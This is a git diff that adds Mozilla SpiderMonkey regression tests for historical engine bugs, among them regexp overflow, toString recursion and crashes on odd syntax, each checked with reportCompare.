+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+for (var i=0; i<2; i++) {
+}
+
+actual = 'PASS';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-230216-1.js b/js/src/tests/js1_5/Regress/regress-230216-1.js
new file mode 100644
index 000000000..964adb91b
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-230216-1.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 230216;
+var summary = 'check for numerical overflow in regexps in back reference and bounds for {} quantifier';
+var actual = '';
+var expect = '';
+var status = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = inSection(1) + ' check for overflow in backref';
+
+actual = 'undefined';
+expect = false;
+
+try
+{
+ actual = eval('/(a)\21474836481/.test("aa")');
+}
+catch(e)
+{
+ status += ' Error: ' + e;
+}
+
+reportCompare(expect, actual, status);
+
+status = inSection(2) + ' check for overflow in backref';
+
+actual = 'undefined';
+expect = false;
+
+try
+{
+ actual = eval('/a\21474836480/.test("")');
+}
+catch(e)
+{
+ status += ' Error: ' + e;
+}
+
+reportCompare(expect, actual, status);
+
diff --git a/js/src/tests/js1_5/Regress/regress-230216-2.js b/js/src/tests/js1_5/Regress/regress-230216-2.js
new file mode 100644
index 000000000..84a7b70d7
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-230216-2.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 230216;
+var summary = 'check for numerical overflow in regexps in back reference and bounds for {} quantifier';
+var actual = '';
+var expect = '';
+var status = '';
+
+DESCRIPTION = summary;
+EXPECTED = 'error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = inSection(1) + ' check for overflow in quantifier';
+
+actual = 'undefined';
+expect0 = 'no exception thrown false';
+expect1 = 'error';
+
+try
+{
+ var result = eval('/a{21474836481}/.test("a")');
+ actual = 'no exception thrown ' + result;
+ status += ' result: ' + result;
+}
+catch(e)
+{
+ actual = 'error';
+}
+
+// The result we get depends on the regexp engine.
+if (actual != 'error')
+ reportCompare(expect0, actual, status);
+else
+ reportCompare(expect1, actual, status);
diff --git a/js/src/tests/js1_5/Regress/regress-230216-3.js b/js/src/tests/js1_5/Regress/regress-230216-3.js
new file mode 100644
index 000000000..eed31cb63
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-230216-3.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 230216;
+var summary = 'check for numerical overflow in regexps in back reference and bounds for {} quantifier';
+var actual = '';
+var expect = '';
+var status = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = inSection(1) + ' /((\3|b)\2(a)x)+/.exec("aaxabxbaxbbx") ';
+
+actual = 'undefined';
+expect = ['ax', 'ax', '', 'a'] + '';
+
+try
+{
+ actual = /((\3|b)\2(a)x)+/.exec("aaxabxbaxbbx") + '';
+}
+catch(e)
+{
+ status += ' Error: ' + e;
+}
+
+reportCompare(expect, actual, status);
+
+status = inSection(2) + ' eval(\'/((\3|b)\2(a)x)+/.exec("aaxabxbaxbbx")\' ';
+
+actual = 'undefined';
+expect = ['ax', 'ax', '', 'a'] + '';
+
+try
+{
+ actual = eval('/((\\3|b)\\2(a)x)+/.exec("aaxabxbaxbbx")') + '';
+}
+catch(e)
+{
+ status += ' Error: ' + e;
+}
+
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/js1_5/Regress/regress-233483-2.js b/js/src/tests/js1_5/Regress/regress-233483-2.js
new file mode 100644
index 000000000..0a9f40121
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-233483-2.js
@@ -0,0 +1,65 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 233483;
+var summary = 'Don\'t crash with null properties - Browser only';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof document == 'undefined')
+{
+ reportCompare(expect, actual, summary);
+}
+else
+{
+ // delay test driver end
+ gDelayTestDriverEnd = true;
+
+ actual = 'Crash';
+ window.onload = onLoad;
+}
+
+function onLoad()
+{
+ var a = new Array();
+ var pe;
+ var x;
+ var s;
+
+ setform();
+
+ for (pe=document.getElementById("test"); pe; pe=pe.parentNode)
+ {
+ a[a.length] = pe;
+ }
+
+ // can't document.write since this is in after load fires
+ s = a.toString();
+
+ actual = 'No Crash';
+
+ reportCompare(expect, actual, summary);
+
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+}
+
+function setform()
+{
+ var form = document.body.appendChild(document.createElement('form'));
+ var table = form.appendChild(document.createElement('table'));
+ var tbody = table.appendChild(document.createElement('tbody'));
+ var tr = tbody.appendChild(document.createElement('tr'));
+ var td = tr.appendChild(document.createElement('td'))
+ var input = td.appendChild(document.createElement('input'));
+
+ input.setAttribute('id', 'test');
+ input.setAttribute('value', '1232');
+
+}
diff --git a/js/src/tests/js1_5/Regress/regress-233483.js b/js/src/tests/js1_5/Regress/regress-233483.js
new file mode 100644
index 000000000..8f7730753
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-233483.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 233483;
+var summary = 'Don\'t crash with null properties - Browser only';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof document != 'undefined')
+{
+ // delay test driver end
+ gDelayTestDriverEnd = true;
+ window.onload = onLoad;
+}
+else
+{
+ actual = 'No Crash';
+ reportCompare(expect, actual, summary);
+}
+
+function onLoad() {
+ setform();
+ var a=new Array();
+ var forms = document.getElementsByTagName('form');
+ a[a.length]=forms[0];
+ var s=a.toString();
+
+ actual = 'No Crash';
+
+ reportCompare(expect, actual, summary);
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+
+}
+
+function setform()
+{
+ var form = document.body.appendChild(document.createElement('form'));
+ var input = form.appendChild(document.createElement('input'));
+ input.setAttribute('id', 'test');
+ input.setAttribute('value', '1232');
+
+ var result = form.toString();
+
+}
diff --git a/js/src/tests/js1_5/Regress/regress-234389.js b/js/src/tests/js1_5/Regress/regress-234389.js
new file mode 100644
index 000000000..f3691b16f
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-234389.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 234389;
+var summary = 'Do not Crash when overloaded toString causes infinite recursion';
+var actual = ''
+ var expect = 'Internal Error: too much recursion';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var foo = {
+ toString: function() {
+ if (this.re.test(this)) {
+ return "";
+ }
+ return this.value;
+ },
+
+ value: "foo",
+
+ re: /bar/
+};
+
+try
+{
+ var f = foo.toString();
+ expect = 'No Crash';
+ actual = 'No Crash';
+}
+catch(ex)
+{
+ expect = 'InternalError: too much recursion';
+ actual = ex.name + ': ' + ex.message;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-238881.js b/js/src/tests/js1_5/Regress/regress-238881.js
new file mode 100644
index 000000000..9080092c6
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-238881.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 238881;
+var summary = 'const propagation for switch too aggressive';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+const C=42;
+function f(C,x)
+{
+ switch(x)
+ {
+ case C:
+ return 1;
+ default:
+ return 0;
+ }
+}
+
+actual = f(44,42);
+expect = 0;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-238945.js b/js/src/tests/js1_5/Regress/regress-238945.js
new file mode 100644
index 000000000..d33197d4d
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-238945.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 238945;
+var summary = '7.9.1 Automatic Semicolon insertion - allow token following do{}while()';
+var actual = 'error';
+var expect = 'no error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f(){do;while(0)return}f()
+
+ actual = 'no error'
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-240577.js b/js/src/tests/js1_5/Regress/regress-240577.js
new file mode 100644
index 000000000..ba8330aa0
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-240577.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Bob Clary
+ */
+
+//-----------------------------------------------------------------------------
+// originally reported by Jens Thiele <karme@unforgettable.com> in
+var BUGNUMBER = 240577;
+var summary = 'object.watch execution context';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var createWatcher = function ( watchlabel )
+{
+ var watcher = function (property, oldvalue, newvalue)
+ {
+ actual += watchlabel; return newvalue;
+ };
+ return watcher;
+};
+
+var watcher1 = createWatcher('watcher1');
+
+var object = {property: 'value'};
+
+object.watch('property', watcher1);
+
+object.property = 'newvalue';
+
+expect = 'watcher1';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-243174.js b/js/src/tests/js1_5/Regress/regress-243174.js
new file mode 100644
index 000000000..4352a9aeb
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-243174.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 243174;
+var summary = 'Don\'t Crash on Regular Expression';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+var result = "-+16-+59-+66-+67-+80-+82-+143-+170-+176-+189-+308-+363-+364-+365-+377-+393-+404-+405-+419-+430-+641-+732-+754-+783-+786-+972-+977-+980-+982-+1010-+1011-+1027-+1028-+1039-+1040-+1074-+1084-+1086-+1098-+1267-+1296-+1305-+1367-+1371-+1379-+1480-+1481-+1482-+1484-+1510-+1526-+1565-+1568-+1574-+1577-+1604-+1632-+1638-+1643-+1657-+1708-+1722-+1941-+1948-+1955-+1965-+1966-+2027-+2039-+2040-+2041-+2048-+2054-+2059-+2090-+2091-+2092-+2105-+2118-+".match(eval("/\\+(3|4|7|21|47|49|53|54|56|57|58|59|60|61|62|64|67|69|72|73|74|76|78|80|84|91|95|96|99|118|120|141|142|145|147|148|149|151|152|160|164|169|170|171|173|174|175|176|181|183|185|186|188|189|190|191|193|200|201|202|204|205|207|208|209|211|214|216|221|223|226|229|230|231|233|237|239|249|250|252|255|258|260|261|267|269|270|278|280|281|290|291|293|294|295|296|297|298|299|300|301|302|303|306|307|308|309|311|313|317|319|321|322|328|329|338|342|343|345|347|349|352|359|360|364|366|367|368|370|373|376|377|378|379|380|381|384|385|386|387|388|389|390|393|394|396|397|398|399|400|402|403|416|418|419|420|423|424|425|428|429|430|432|440|442|444|445|446|448|449|629|643|646|647|649|652|658|668|680|681|682|683|684|703|706|720|722|731|733|736|737|738|741|744|745|749|752|753|754|755|763|786|803|806|807|808|812|829|831|843|844|845|846|847|848|849|851|854|855|856|858|859|860|861|863|866|867|868|869|870|871|875|876|877|878|879|881|882|883|884|885|886|888|889|890|891|892|893|894|895|896|897|898|900|901|903|904|906|908|910|911|912|913|914|915|916|918|919|921|970|971|972|973|980|986|987|988|991|998|1009|1011|1015|1016|1031|1037|1038|1039|1040|1045|1046|1051|1052|1053|1054|1057|1058|1060|1064|1069|1070|1071|1074|1075|1085|1089|1090|1091|1093|1094|1095|1096|1097|1101|1103|1107|1109|1110|1112|1115|1116|1117|1171|1172|1175|1183|1184|1233|1289|1296|1300|1307|1315|1317|1327|1367|1374|1384|1392|1393|1408|1409|1412|1428|1479|1480|1481|1482|1483|1484|1485|1486|1487|1488|1490|1491|1492|1493|1497|1510|1522|1524|1565|1566|1567|1568|1573|1574|1576|1582|1584|1586|1588|1591|1592|1593|1596|1599|1600|1604|1606|1615|1616|1617|1621|1625|1631|1632|1633|1636|1640|1643|1644|1645|1646|1648|1650|1652|1655|1656|1657|1658|1660|1661|1663|1669|1670|1671|1672|1673|1675|1676|1677|1679|1680|1683|1684|1685|1686|1687|1688|1689|1695|1697|1702|1703|1704|1705|1706|1711|1712|1713|1714|1716|1722|1725|1726|1731|1738|1744|1747|1748|1749|1750|1753|1757|1761|1762|1763|1764|1765|1766|1767|1769|1771|1772|1773|1774|1775|1776|1777|1778|1779|1780|1781|1782|1783|1784|1785|1786|1788|1789|1790|1791|1792|1793|1794|1796|1797|1798|1799|1801|1802|1803|1804|1805|1806|1807|1808|1809|1810|1811|1812|1815|1816|1817|1818|1821|1822|1823|1824|1825|1827|1828|1831|1835|1840|1844|1845|1849|1850|1852|1853|1854|1855|1856|1857|1858|1859|1860|1862|1866|1867|1874|1885|1886|1887|1890|1894|1897|1898|1903|1912|1913|1917|1923|1933|1940|1941|1944|1945|1946|1947|1948|1949|1950|1963|1964|1965|1967|1971|1972|1973|1974|1978|1983|1988|1990|1991|2001|2003|2013|2015|2020|2025|2026|2027|2029|2034|2039|2040|2041|2047|2048|2049|2050|2053|2054|2055|2057|2058|2059|2060|2061|2064|2067|2070|2073|2076|2079|2082|2085|2088|2090|2092|2093|2094|2095|2096|2098|2099|2100|2101|2102|2103|2105|2114|2119|2121|2122|2124|2128|2131|2132|21|170|177|190|191|291|982|1038|1655|1978|2090|2133|1983|783|1582|2102|6|14|53|65|66|67|68|72|85|88|95|96|97|121|126|145|148|154|160|184|188|219|220|258|267|277|289|292|295|297|304|317|318|322|332|342|343|353|354|367|373|378|381|384|398|402|418|419|425|428|438|643|662|665|673|675|705|706|803|876|973|988|1013|1015|1020|1047|1091|1171|1184|1317|1400|1401|1486|1572|1590|1591|1593|1600|1621|1632|1633|1635|1636|1638|1640|1648|1657|1958|1966|1969|1973|1983|2048|2061|2064|2067|2070|2073|2076|2079|2082|2085|2088|2091|2126|2127|2128|1063|986|16|59|66|67|80|82|143|170|176|189|308|363|364|365|377|393|404|405|419|430|641|732|754|783|786|972|977|980|982|1010|1011|1027|1028|1039|1040|1074|1084|1086|1098|1267|1296|1305|1367|1371|1379|1480|1481|1482|1484|1510|1526|1565|1568|1574|1577|1604|1632|1638|1643|1657|1708|1722|1941|1948|1955|1965|1966|2027|2039|2040|2041|2048|2054|2059|2090|2091|2092|2105|2118|1300|971|2047|2050|986|1632|2049|1184|2047)-/g"));
+
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-243389-n.js b/js/src/tests/js1_5/Regress/regress-243389-n.js
new file mode 100644
index 000000000..00c11b4c2
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-243389-n.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// test from Henrik Gemal
+var BUGNUMBER = 243389;
+var summary = 'Don\'t crash on Regular Expression';
+var actual = 'Crash';
+var expect = 'error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// this is a syntax error which will fire
+// before the framework is ready. therefore the browser based
+// version will not appear to run this test if it does not crash
+if (/(\\|/)/) {
+}
+
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
